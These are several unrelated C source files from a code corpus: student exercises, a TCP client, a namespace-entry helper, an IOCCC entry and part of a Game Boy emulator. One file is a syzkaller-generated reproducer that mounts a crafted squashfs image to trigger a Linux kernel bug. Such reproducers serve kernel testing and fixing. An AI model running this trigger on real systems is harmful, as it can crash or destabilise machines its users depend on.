for ( c_job=0 ; c_job<NUM_EMPLOYEES ; c_job++)
total_energies[ c_job ] += job_schedule[ c_job ][ c_day ] ;
}
}
employee find_the_employer_of_the_day(int work_schedule[NUM_EMPLOYEES][NUM_DAYS], day day_name)
{
int i, max = work_schedule[0][(int)day_name];
employee employee = 0;
for(i=1; i < NUM_EMPLOYEES; i++)
{
if(max < work_schedule[i][(int)day_name])
{
max = work_schedule[i][(int)day_name];
employee = i;
}
}
return employee;
}
employee find_the_employer_of_the_week(int work_schedule[][NUM_DAYS])
{
int i, j, sum, max = -1;
employee employee = 0;
for(i=Ali; i < NUM_EMPLOYEES; i++)
{
sum = 0;
/* find total energy of the employee */
for(j=0; j < NUM_DAYS; j++)
{
sum += work_schedule[i][j];
}
/* compare it to maximum sum value */
if(max < sum)
{
max = sum;
employee = i;
}
}
return employee;
}
void report(const char* file_name, int job_scheduling[][NUM_DAYS])
{
/* I've created strings same order in enumerated types for ease printing. */
char employees[NUM_EMPLOYEES][20] = {"Ali", "Ayse", "Fatma", "Mehmet"};
char days[NUM_DAYS][10] = {"Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"};
int i, j, employee;
FILE *output;
output = fopen(file_name, "w");
fprintf(output, "\nReport:\n\n");
fprintf(output, " ");
/* print days to file */
for(i=Monday; i < NUM_DAYS; i++)
{
fprintf(output, " %s", &days[i][0]);
}
fprintf(output, "\n\n");
for(i=Ali; i < NUM_EMPLOYEES; i++)
{
/* print i. employee's name to file */
fprintf(output, "%s", &employees[i][0]);
/* print i. employee's job schedule to file */
for(j=0; j < NUM_DAYS; j++)
{
fprintf(output, " %d", job_scheduling[i][j]);
}
fprintf(output, "\n\n");
}
/* find the most worked employee for each day and print to file */
for(i=Monday; i < NUM_DAYS; i++)
{
employee = find_the_employer_of_the_day(job_scheduling, (day)i);
fprintf(output, "The best employer of %s: %s\n\n", &days[i][0], &employees[(int)employee][0]);
}
/* find the employer of week and print to file */
employee = find_the_employer_of_the_week(job_scheduling);
fprintf(output, "The best employer of week is %s ... Congratulations %s\n\n", &employees[(int)employee][0], &employees[(int)employee][0]);
fclose(output);
}
/* params: this function takes an array m with size n and */
/* an ordinal number */
/* aim : it finds the index of m matrix on ordinal number */
/* returns its index */
/* */
/* for example; we have m[4]={100,60,70,50} */
/* if we call (m,4,2) */
/* it finds 2.biggest number 70 and returns 2 */
/* for another example; */
/* lets say there are some equal numbers and we have */
/* m[4]={100,60,60,50} */
/* if we call (m,4,2) */
/* it finds 2.biggest number 60 and returns 1 */
/* it will returns first finding index */
int index_sort(const int m[],const int n,const int ordinal)
{
int counter;
int sorted_m[n],sorted_index[n];
for( counter=0; counter<n; counter++ )
{
sorted_m[counter] = m[counter];
sorted_index[counter] = counter;
}
sort(sorted_m,sorted_index,n);
return sorted_index[ordinal];
}
/*this function takes two paralel matrices with their size */
/*and sorts both of them from biggest to smallest in sync */
/* */
/*For example; mat1[4]={100,40,60,50} mat2[4]={0,1,2,3} */
/*------------------after sorting-------------------------------*/
/* mat1[4]={100,60,50,40} mat2[4]={0,2,3,1} */
void sort(int* mat1,int* mat2,const int size )
{
int c_a,c_b, temp;
for( c_a=0; c_a<size ; c_a++)
{
for( c_b=(c_a+1) ; c_b<size ; c_b++)
{
if( mat1[c_a] < mat1[c_b])
{
temp = mat1[c_a];
mat1[c_a] = mat1[c_b];
mat1[c_b] = temp;
temp = mat2[c_a];
mat2[c_a] = mat2[c_b];
mat2[c_b] = temp;
}
}
}
}
|
the_stack_data/104464.c | int a(int iter, int* b) {
for(int i=0; i<iter; i++) {
if(b[i] == 0)
return i;
}
return 0;
}
|
the_stack_data/383436.c | /*
Author: Chen Liang
Description: Implement a linked list data structure include the
following functions:
- insert_at_begining
- insert_at_end
- insert
- delete
- delete_at_begining
- is_empty
- print_list
Date: 26th Apr 2021
*/
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
/* Self-referential structure */
typedef struct node
{
char data;
struct node *next_ptr;
} node_t;
typedef node_t *list_node_ptr;
/* prototypes */
void insert(struct node **head, char value);
void insert_at_end(list_node_ptr *head, char value);
void insert_at_begining(list_node_ptr *head, char value);
char delete(list_node_ptr *head, char value);
void delete_at_beginning(list_node_ptr *head);
int is_empty(list_node_ptr head);
void print_list(list_node_ptr current_ptr);
int main(void)
{
list_node_ptr head = NULL; /* initially there are no nodes */
int choice = 0; /* user's choice */
char item = '\0'; /* char entered by user */
/* display the menu */
printf("Enter your choice:\n"
"\t1. Insert an element into the list in alphabetical order.\n"
"\t2. Insert an element at the end of the list.\n"
"\t3. Insert an element at the beginning of the list.\n"
"\t4. Delete an element from the list.\n"
"\t5. Delete an element from the beginning of the list.\n"
"\t6. to end.\n");
printf(":: ");
scanf("%d", &choice);
/* loop while user does not choose 3 */
while (choice != 6)
{
switch (choice)
{
case 1:
printf("Enter a character: ");
scanf("\n%c", &item);
insert(&head, item); /* insert item in list */
print_list(head);
break;
case 2:
printf("Enter a character: ");
scanf("\n%c", &item);
insert_at_end(&head, item); /* insert item in list */
print_list(head);
break;
case 3:
printf("Enter a character: ");
scanf("\n%c", &item);
/* Insert item in list at the beginning */
insert_at_begining(&head, item);
print_list(head);
break;
case 4: /* delete an element */
/* if list is not empty */
if (!is_empty(head))
{
printf("Enter character to be deleted: ");
scanf("\n%c", &item);
/* if character is found, remove it */
if (delete(&head, item))
{
/* remove item */
printf("%c deleted.\n", item);
print_list(head);
}
else
{
printf("%c not found.\n\n", item);
}
}
break;
case 5: /* delete an element at beginning */
/* if list is not empty */
if ( !is_empty(head))
{
/* if character is found, remove it */
delete_at_beginning(&head);
printf("%c deleted.\n", item);
print_list(head);
}
else
{
printf("List is empty.\n\n");
}
break;
default:
printf("Invalid choice.\n\n");
/* display the menu */
printf("Enter your choice:\n"
"\t1. Insert an element into the list.\n"
"\t2. Delete an element from the list.\n"
"\t3. to end.\n");
break;
} /* end switch */
printf("? ");
scanf("%d", &choice);
} /* end while */
printf("End of run.\n");
return 0;
}
void insert_at_beginning(list_node_ptr *head, char val)
{
list_node_ptr new_node = malloc(sizeof(struct node));
new_node->data = val;
new_node->next_ptr = *head;
*head = new_node;
}
void insert_at_end(list_node_ptr *head, char val)
{
list_node_ptr current = *head;
if (current != NULL)
{
while (current->next_ptr != NULL)
{
current = current->next_ptr;
}
/* now we can add a new variable */
current->next_ptr = malloc(sizeof(node_t));
current->next_ptr->data = val;
current->next_ptr->next_ptr = NULL;
}
else
{
current = malloc(sizeof(node_t));
current->data = val;
current->next_ptr = NULL;
*head = current;
}
}
/* Insert a new value into the list in sorted order */
void insert(list_node_ptr *head, char value)
{
list_node_ptr new_ptr; /* ptr to new node */
list_node_ptr previous_ptr; /* ptr to the previous node in list */
list_node_ptr current_ptr; /* ptr to the current node in list */
new_ptr = malloc(sizeof(node_t)); /* create node */
if (new_ptr != NULL) /* is space available */
{
new_ptr->data = value; /* place value in node */
/* node does not link to another node */
new_ptr->next_ptr = NULL;
previous_ptr = NULL;
current_ptr = *head;
/* loop to find the correct location in the list */
while (current_ptr != NULL && value > current_ptr->data)
{
previous_ptr = current_ptr; /* walk to ... */
current_ptr = current_ptr->next_ptr; /* ... next node */
}
/* insert new node at beginning of list */
if (previous_ptr == NULL)
{
new_ptr->next_ptr = *head;
*head = new_ptr;
}
else
{
/* insert new node between previous_ptr and current_ptr */
previous_ptr->next_ptr = new_ptr;
new_ptr->next_ptr = current_ptr;
}
}
else
{
printf("%c not inserted. No memory available.\n", value);
}
}
void delete_at_beginning(list_node_ptr *head)
{
list_node_ptr temp_ptr = NULL; /* temporary node pointer */
if (head == NULL)
{
return;
}
else
{
temp_ptr = *head; /* hold onto node being removed */
*head = (*head)->next_ptr; /* de-thread the node */
free(temp_ptr);
}
}
char delete(list_node_ptr *head, char value)
{
list_node_ptr previous_ptr; /* ptr to previous node in list */
list_node_ptr current_ptr; /* ptr to current node in list */
list_node_ptr temp_ptr; /* temporary node pointer */
/* delete first node */
if (value == (*head)->data)
{
temp_ptr = *head; /* hold onto node being removed */
*head = (*head)->next_ptr; /* de-thread the node */
free(temp_ptr); /* free the de-threaded node */
return value;
}
else
{
previous_ptr = *head;
current_ptr = (*head)->next_ptr;
/* loop to find the correct location in the list */
while (current_ptr != NULL && current_ptr->data != value)
{
previous_ptr = current_ptr; /* walk to ... */
current_ptr = current_ptr->next_ptr; /* .. next node */
}
/* delete node at current_ptr */
if (current_ptr != NULL)
{
temp_ptr = current_ptr;
previous_ptr->next_ptr = current_ptr->next_ptr;
free(temp_ptr);
return value;
}
}
return '\0';
}
/* print the list */
void print_list(list_node_ptr current_ptr)
{
/* if list is empty */
if (current_ptr == NULL)
{
printf("List is empty.\n\n");
}
else
{
printf("The list is:\n");
/* while not the end of the list */
while (current_ptr != NULL)
{
printf("%c --> ", current_ptr->data);
current_ptr = current_ptr->next_ptr;
}
printf("NULL\n\n");
}
}
/* Return 1 if the list is emtpy, 0 otherwise */
int is_empty(list_node_ptr head)
{
return head = NULL;
} |
the_stack_data/159515774.c | /* PR middle-end/71494 */
int
main ()
{
void *label = &&out;
int i = 0;
void test (void)
{
label = &&out2;
goto *label;
out2:;
i++;
}
goto *label;
out:
i += 2;
test ();
if (i != 3)
__builtin_abort ();
return 0;
}
|
the_stack_data/13099.c | // Implementing the caesar cipher. (letter + n)
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h> // for toupper
#define LENGTH 80
int main(void)
{
char ch, sentence[LENGTH] = {0};
int n;
printf("Enter a message you want encrypted (80 chars): ");
ch = getchar();
for (int i = 0; ch != '\n' && i < LENGTH; i++)
{
sentence[i] = ch;
ch = getchar();
}
printf("enter shift amount (1-25): ");
scanf("%d", &n);
if (n < 0 || n > 25)
{
printf("Invalid key");
return 1;
}
printf("The encrypted message: ");
for (int i = 0; i < LENGTH; i++)
{
if (sentence[i] >= 'a' && sentence[i] <= 'z')
{ // makes sure that the letters loop around when the alphabet ends.
printf("%c", ((sentence[i] - 'a') + n) % 26 + 'a');
}
else if (sentence[i] >= 'A' && sentence[i] <= 'Z')
{
printf("%c", ((sentence[i] - 'A') + n) % 26 + 'A');
}
else
putchar(sentence[i]);
}
printf("\n");
return 0;
}
|
the_stack_data/97011492.c | #include<stdio.h>
main()
{
int x;
for(x=1;x<6;x++)
{
printf("%d\n",x);
}
printf("\n");
int y=1;
while(y<=5){
printf("%d\n",y);
y++;
}
printf("\n");
int z=1;
do{
printf("%d\n",z);
z++;
}
while(z<=5);
getch();
}
|
the_stack_data/87638032.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
int
main(int argc, char* argv[]) {
int shm;
struct shmid_ds sds;
if (argc != 2) {
fprintf(stderr, "Usage : %s shmid\n", argv[0]);
return 1;
}
shm = atoi(argv[1]);
if (shmctl(shm, IPC_RMID, &sds) != 0) {
perror("shmctl");
return 1;
}
return 0;
}
|
the_stack_data/6387242.c | #include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
void error (char *msg)
{
perror (msg);
exit (0);
}
int main (int argc, char *argv [])
{
int sockfd,
portno,
n;
struct sockaddr_in serv_addr;
struct hostent *server;
char buffer [256];
if (argc < 3)
{
fprintf (stderr, "usage %s hostname port\n", argv [0]);
exit (0);
}
portno = atoi (argv [2]);
sockfd = socket (AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) error ("ERROR opening socket");
server = gethostbyname (argv [1]);
if (server == NULL)
{
fprintf (stderr, "ERROR, no such host\n");
exit (0);
}
bzero ((char *) &serv_addr, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
bcopy ((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons (portno);
if (connect (sockfd, &serv_addr, sizeof (serv_addr)) < 0) error ("ERROR connecting");
printf ("Please enter the message: ");
bzero (buffer, 256);
fgets (buffer, 255, stdin);
n = write (sockfd, buffer, strlen (buffer));
if (n < 0) error ("ERROR writing to socket");
bzero (buffer, 256);
n = read (sockfd, buffer, 255);
if (n < 0) error ("ERROR reading from socket");
printf ("%s\n", buffer);
return (0);
}
|
the_stack_data/887978.c | #include <stdio.h>
#define typename(x) _Generic((x), \
_Bool: "_Bool", unsigned char: "unsigned char", \
char: "char", signed char: "signed char", \
short int: "short int", unsigned short int: "unsigned short int", \
int: "int", unsigned int: "unsigned int", \
long int: "long int", unsigned long int: "unsigned long int", \
long long int: "long long int", unsigned long long int: "unsigned long long int", \
float: "float", double: "double", \
long double: "long double", char *: "pointer to char", \
void *: "pointer to void", int *: "pointer to int", \
default: "other")
int main(int argc, char *argv[]){
int a;
printf("%s\n", typename(a));
long long b;
printf("%s\n", typename(b));
return 0;
}
|
the_stack_data/140766655.c | #define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <errno.h>
#include <string.h>
int main(int argc, char *argv[])
{
char * const argv_default[] = {"bash", NULL};
char * const *exec_argv = argv_default;
if (argc > 2) {
exec_argv = argv+2;
} else if (argc < 2) {
fprintf(stderr, "Usage: %s ns-path [command [args...]]\n", argv[0]);
return 255;
}
int fd = open(argv[1], O_RDONLY);
if (fd == -1) {
fprintf(stderr, "%s: %s: %s\n", argv[0], argv[1], strerror(errno));
return 254;
}
if (setns(fd, 0) == -1) {
perror(argv[0]);
close(fd);
return 253;
}
close(fd);
execvp(exec_argv[0], exec_argv);
/* if exec fails... */
fprintf(stderr, "%s: %s: %s\n", argv[0], exec_argv[0], strerror(errno));
return 252;
}
|
the_stack_data/68887911.c | #include <stdio.h>
const int val = 2*3*4*5*6*7*8*9*10;
int main(void) {
printf("10! = %d\n", val );
return 0;
}
|
the_stack_data/948885.c | /*
* Winner of the International Obfuscated C Code Contest (IOCCC)
* one line entry in 1987. By David Korn.
*
*/
#include <stdio.h>
int main() { printf(&unix["\021%six\012\0"],(unix)["have"]+"fun"-0x60); }
|
the_stack_data/35457.c | #include <stdio.h>
// function declaration
int *getMax(int *, int *);
int main(void) {
// integer variables
int x = 100;
int y = 200;
// pointer variable
int *max = NULL;
/**
* get the variable address that holds the greater value
* for this we are passing the address of x and y
* to the function getMax()
*/
max = getMax(&x, &y);
// print the greater value
printf("Max value: %d\n", *max);
return 0;
}
// function definition
int *getMax(int *m, int *n) {
/**
* if the value pointed by pointer m is greater than n
* then, return the address stored in the pointer variable m
*/
if (*m > *n) {
return m;
}
/**
* else return the address stored in the pointer variable n
*/
else {
return n;
}
}
|
the_stack_data/12311.c | // WARNING in squashfs_read_table
// https://syzkaller.appspot.com/bug?id=2ccea6339d368360800d
// status:6
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size,
unsigned long nsegs,
struct fs_image_segment* segs)
{
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (size_t i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs,
struct fs_image_segment* segs,
const char* loopname, int* memfd_p, int* loopfd_p)
{
int err = 0, loopfd = -1;
size = fs_image_segment_check(size, nsegs, segs);
int memfd = syscall(sys_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (size_t i = 0; i < nsegs; i++) {
if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
}
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
*memfd_p = memfd;
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile unsigned long size,
volatile unsigned long nsegs,
volatile long segments, volatile long flags,
volatile long optsarg)
{
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
return -1;
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
}
error_clear_loop:
if (need_loop_device) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
close(memfd);
}
errno = err;
return res;
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
memcpy((void*)0x20000000, "squashfs\000", 9);
memcpy((void*)0x20000100, "./file0\000", 8);
*(uint64_t*)0x20000200 = 0x20000240;
memcpy((void*)0x20000240,
"\x68\x73\x71\x73\x07\x00\x00\x00\x91\x1d\x67\x5f\x00\x40\x00\x00\x00"
"\x00\x00\x00\x03\x00\x0e\x00\xd0\x00\x02\x00\x04\x00\x00\x00\x1e\x01"
"\x00\x00\x00\x00\x00\x00\x05\x02\x00\x00\x00\x00\x00\x00\xb9\x01\x00"
"\x00\x00\x00\x00\x00\xed\x01\x00\x00\x00\x00\x00\x00\x8f\x00\x00\x00"
"\x00\x00\x00\x00\x41\x01\x00\x00\x00\x00\x00\x00\x8b\x01\x00\x00\x00"
"\x00\x00\x00\xa7\x01\x00\x00\x00\x00\x00\x00\x1a\x73\x79\x7a\x6b\x61"
"\x6c\x6c\x65\x72\x20\x3a\x20\x00\x11\x00\x00\x1a\x73\x79\x7a\x6b\x61"
"\x6c\x6c\x65\x72\x20\x00\x00\x00\xf3\x20\x00\x11\x00\x00\x73\x79\x7a"
"\x6b\x61\x6c\x6c\x65\x72\x73\xb0\x00\x1d\x02\x00\xed\x01\x00\x00\x01"
"\x00\x91\x1d\x67\x5f\x42\x01\x00\x60\x4d\x00\xff\x40\x00\x5a\x00\x00"
"\x64\x4d\x00\x11\x4c\x00\x2a\x8d\x00\x03\x5d\x01\x71\x29\x8e\x00\x1a"
"\x04\x0d\x00\x14\x5f\x00\x03\x00\xff\x27\x8c\x00\x49\x02\x00\x6d\x09"
"\x26\x4c\x00\x00\x0e\x2f\x74\x6d\x70\x2f\x73\x79\x7a\x2d\x69\x6d\x61"
"\x67\x65\x67\x65\x6e\x34\x31\x39\x37\x37\x36\x33\x39\x32\x2f\x66\x69"
"\x6c\x65\x30\xb5\x00\x01\x29\x86\x01\x02\x00\xa0\x00\x7d\x00\x29\x4d"
"\x00\x07\x4d\x00\x09\x29\x7d\x00\x05\x5d\x01\x85\xce\x04\x0a\x00\x2c"
"\x01\x00\x01\x29\x64\x02\xdd\x03\x01\x2a\xed\x00\x06\x4d\x02\x8f\xce"
"\x03\x28\x23\x2c\xed\x00\x02\x29\xec\x00\xff\x00\x01\x00\xc0\x27\xed"
"\x00\x07\xdc\x04\x65\x20\x54\x4d\x1b\x08\x5c\x00\x11\x00\x00\x48\x00"
"\x13\x01\x00\xa1\x00\x03\x4d\x00\x24\x4c\x00\x09\x02\x00\x04\x00\x66"
"\x69\x6c\x65\x30\x48\x00\x01\x50\x02\xb2\x01\x31\x04\xd4\x04\xf7\x05"
"\x02\x00\x08\x80\x03\x03\x2e\x63\x6f\x6c\x64\x86\x59\x02\x01\xf9\x06"
"\xa6\x40\x01\xec\x08\x01\x31\xe2\x00\x05\x27\x31\x00\x32\x2a\x31\x00"
"\x33\x11\x00\x00\x1a\x00\x12\x00\xc1\x00\x86\xdd\x00\x24\xdd\x00\x48"
"\xdd\x00\xa6\xdd\x00\xe2\xde\x00\x1e\x01\xbc\x00\x11\x00\x00\x8b\x01"
"\x00\x00\x00\x00\x00\x00\x08\x80\x5c\xf9\x01\x00\x53\x5f\x01\x00\xaf"
"\x01\x00\x00\x00\x00\x00\x00\x1b\x00\x1e\x00\x00\x06\x00\x78\x61\x74"
"\x74\x72\x31\x06\x00\x00\xc4\x01\x27\x4d\x00\x32\x27\x4d\x00\x32\x11"
"\x00\x00\x0d\x00\x12\x00\xc1\x00\x02\x4d\x00\x24\x4c\x00\x11\x00\x00"
"\xc1\x01\x00\x00\x00\x00\x00\x00\x01\x84\x4d\xe2",
505);
*(uint64_t*)0x20000208 = 0x1f9;
*(uint64_t*)0x20000210 = 0;
*(uint8_t*)0x20000040 = 0;
syz_mount_image(0x20000000, 0x20000100, 0x1000, 1, 0x20000200, 0, 0x20000040);
return 0;
}
|
the_stack_data/493271.c | #include <stdio.h>
#include <stdlib.h>
int main(void) {
/*
* scanf() API documentation
* https://man7.org/linux/man-pages/man3/scanf.3.html
*/
int value=0;
int rc = 0;
printf("Please enter an integer value: ");
rc = scanf("%d", &value);
if (rc == 1) {
printf("You entered: %d\n", value);
} else {
printf("Please enter only integer values!\n");
return 1;
}
/* Extended example */
int min = 0;
int sec = 0;
printf("Please enter the runtime (mm:ss): ");
rc = scanf("%d:%d", &min, &sec);
if (rc == 2) {
printf("You entered %d minutes and %d seconds\n", min, sec);
} else {
printf("Please enter time formatted in mm:ss only\n");
return 1;
}
/* An exit code of zero indicates that the program ran successfully */
return 0;
}
|
the_stack_data/78400.c | /*
unix.c
This file contains system specific information
(e.g. displaying routines, joystick access,
window controls etc ...)
*/
#ifdef UNIX
#ifdef GLIDE
#ifdef FRAMEBUFFER
#error: Do not try to make GLIDE & FRAMEBUFFER !!!
#endif
#if !defined JOYSTICK && !defined BSD_JOYSTICK
#error: Do not try to make GLIDE w/o JOYSTICK/BSD_JOYSTICK !!!
#endif
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include "globals.h"
#include "sys.h"
#include "gameboy.h"
#include "z80.h"
#include "arplay.h"
#include "settings.h"
/* unix signal processing */
#define __USE_POSIX
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#ifndef GLIDE
/* X specific */
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/keysym.h>
#ifdef MIT_SHM
#include <X11/extensions/XShm.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#endif
#ifdef WITH_XVIDEO
#include <X11/extensions/Xvlib.h>
#endif
#endif
#ifdef JOYSTICK
/* linux joystick device */
#include <linux/joystick.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#endif
#ifdef BSD_JOYSTICK
/* BSD joystick device */
#include <sys/joystick.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#endif
#ifdef FRAMEBUFFER
/* framebuffer device */
#include <fcntl.h>
#include <linux/fb.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <termios.h>
#include <linux/vt.h>
char *fbdevname="/dev/fb0";
struct fb_fix_screeninfo fb_finfo;
struct fb_var_screeninfo fb_vinfo,fb_vinfo_orig;
struct termios termsave;
struct vt_mode vt_modesave;
int fbdev,tty,fbgb_linesize,ttystate;
int usingfb;
char *fbmem,*fbgb;
#endif
#ifdef GLIDE
#include <glide.h>
#include <sst1vid.h>
#include <termios.h>
struct termios termsave;
#endif
#ifdef DIALOGLINK
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
char *sock_tcpsignature="cingb___init___socket";
int dialoglink,dlglink_status,sock_d,sock_nd,sock_desc;
int dlglink_init(void);
#endif
/* experimental ***************************************/
#ifdef SOUND
#include "sound.h"
#endif
#include "joypad.h"
#ifndef GLIDE
char *gbwintitle="cingb";
Display *display;
Visual *visual;
Window gbwin;
Colormap colormap;
int screen;
XColor *colors;
static XImage *gameboyscreen;
GC gbgc;
static size_t lcdbuffersize=0;
#ifdef MIT_SHM
/* XShm */
static Status use_xshm;
static XShmSegmentInfo shminfo;
#endif
#ifdef WITH_XVIDEO
static int use_xvideo=0;
static unsigned int xv_port=0, xv_format;
static XvImage *xv_gameboyscreen;
static int win_width=GB_LCDXSCREENSIZE;
static int win_height=GB_LCDYSCREENSIZE;
#endif
#endif
int joypaddev,usejoypad,usekeys,timerset,
resolution,doublesize,dsupdatenow,usingsound,bitmapbits;
volatile int refreshtimer;
struct itimerval itv;
int REDSHL,GREENSHL,BLUESHL;
int REDOFS,GREENOFS,BLUEOFS;
#ifdef JOYSTICK
struct JS_DATA_TYPE js;
#endif
#ifdef BSD_JOYSTICK
struct joystick js;
#endif
uchar GB_STD8BITPAL[]=
{
215,
172,
86,
0
};
unsigned long int GB_STDPAL[4];
void timerhandler(int signr)
{
#ifdef _LINUX
signal(SIGALRM, timerhandler);
#endif
refreshtimer++;
}
#ifdef FRAMEBUFFER
void FB_ClearScreen(void)
{
memset(fbmem,0,fb_vinfo.xres*fb_vinfo.yres*resolution/8);
}
void tty_switchhandler(int signal)
{
switch (signal) {
case SIGUSR1:
ttystate=0;
ioctl(tty, VT_RELDISP, 1);
break;
case SIGUSR2:
ttystate=1;
ioctl(tty, VT_RELDISP, VT_ACKACQ);
FB_ClearScreen();
break;
}
}
int InitFB(void)
{
struct termios term;
struct vt_mode vtm;
struct sigaction old,now;
fbdev=open(fbdevname,O_RDWR,0);
if (!fbdev) {
fprintf(stderr,"Could not open %s or an X connection.\n",fbdevname);
return 1;
}
if (ioctl(fbdev,FBIOGET_FSCREENINFO,&fb_finfo)<0) {
fprintf(stderr,"Error: FBIOGET_FSCREENINFO\n");
return 1;
}
if (ioctl(fbdev,FBIOGET_VSCREENINFO,&fb_vinfo)<0) {
fprintf(stderr,"Error: FBIOGET_VSCREENINFO\n");
return 1;
}
bitmapbits=resolution=fb_vinfo.bits_per_pixel;
if (resolution<16) {
fprintf(stderr,"Sorry: I don't support %d bits resolution, yet.\n",
resolution);
return 1;
}
memcpy(&fb_vinfo_orig,&fb_vinfo,sizeof(fb_vinfo_orig));
fbmem=mmap(NULL,fb_finfo.smem_len,PROT_WRITE,
MAP_SHARED,fbdev,0);
if (fbmem==MAP_FAILED) {
fprintf(stderr,"Error: mmap failed.\n");
return 1;
}
if (!smallview) {
fbgb=fbmem+(fb_vinfo.xres-GB_LCDXSCREENSIZE*2)*resolution/16+
(fb_vinfo.yres-GB_LCDYSCREENSIZE*2)/2*fb_finfo.line_length;
fbgb_linesize=GB_LCDXSCREENSIZE*2*resolution/8;
} else {
fbgb=fbmem+(fb_vinfo.xres-GB_LCDXSCREENSIZE)*resolution/16+
(fb_vinfo.yres-GB_LCDYSCREENSIZE)/2*fb_finfo.line_length;
fbgb_linesize=GB_LCDXSCREENSIZE*resolution/8;
}
if (fb_vinfo.xoffset!=0 || fb_vinfo.yoffset!=0) {
fb_vinfo.xoffset=0;
fb_vinfo.yoffset=0;
if (ioctl(fbdev,FBIOPAN_DISPLAY,&fb_vinfo)<0) {
fprintf(OUTSTREAM,"Error: FBIOPAN_DISPLAY\n");
return 1;
}
}
usingfb=1;
FB_ClearScreen();
logfile=fopen("cingb.log","w");
if (logfile==NULL) {
fprintf(stdout,"Could not open logfile (using stdout).\n");
logfile=stdout;
}
#ifdef DEBUG
printf("FB_TYPE : %d\n",fb_finfo.type);
printf("FB_VISUAL: %d\n",fb_finfo.visual);
printf("Resolution: %dx%dx%d\n",fb_vinfo.xres,fb_vinfo.yres,
fb_vinfo.bits_per_pixel);
printf("Pixel format: red : %d-%d\n",fb_vinfo.red.offset,
fb_vinfo.red.offset+fb_vinfo.red.length-1);
printf(" green: %d-%d\n",fb_vinfo.green.offset,
fb_vinfo.green.offset+fb_vinfo.green.length-1);
printf(" blue : %d-%d\n",fb_vinfo.blue.offset,
fb_vinfo.blue.offset+fb_vinfo.blue.length-1);
#endif
REDOFS =fb_vinfo.red.offset;
GREENOFS=fb_vinfo.green.offset;
